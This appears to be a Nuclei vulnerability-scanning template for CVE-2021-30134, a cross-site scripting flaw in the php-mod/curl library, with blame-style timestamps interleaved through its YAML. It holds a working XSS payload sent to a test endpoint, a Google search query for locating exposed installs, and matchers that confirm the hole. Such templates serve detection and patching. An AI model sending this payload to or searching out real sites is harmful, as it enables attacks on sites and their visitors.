2023-02-16 05:05:10 +00:00
id : CVE-2021-30134
info :
2023-02-16 05:24:57 +00:00
name : php-mod/curl Library - Cross-Site Scripting
2023-02-16 05:05:10 +00:00
author : theamanrawat
severity : medium
description : |
php-mod/curl (a wrapper of the PHP cURL extension) before 2.3.2 allows XSS via the post_file_path_upload.php key parameter and the POST data to post_multidimensional.php.
reference :
- https://wpscan.com/vulnerability/0b547728-27d2-402e-ae17-90d539344ec7
- https://nvd.nist.gov/vuln/detail/CVE-2021-30134
classification :
2023-02-16 08:30:30 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2023-02-16 05:05:10 +00:00
cve-id : CVE-2021-30134
2023-02-16 08:30:30 +00:00
cwe-id : CWE-79
2023-02-16 05:05:10 +00:00
metadata :
2023-02-16 05:24:57 +00:00
google-query : inurl:"/php-curl-test/post_file_path_upload.php"
2023-02-16 08:30:30 +00:00
verified : "true"
2023-02-16 05:47:13 +00:00
tags : cve,cve2021,xss,php-mod,wpscan
2023-02-16 05:05:10 +00:00
requests :
2023-02-16 05:24:57 +00:00
- method : GET
path :
- "{{BaseURL}}/vendor/curl/curl/tests/server/php-curl-test/post_file_path_upload.php?key=<img%20src%20onerror%3dalert(document.domain)>"
2023-02-16 05:05:10 +00:00
2023-02-16 05:24:57 +00:00
matchers-condition : and
2023-02-16 05:05:10 +00:00
matchers :
2023-02-16 05:24:57 +00:00
- type : word
words :
- 'key":"<img src onerror=alert(document.domain)>"'
- type : word
part : header
words :
- text/html
- type : status
status :
- 200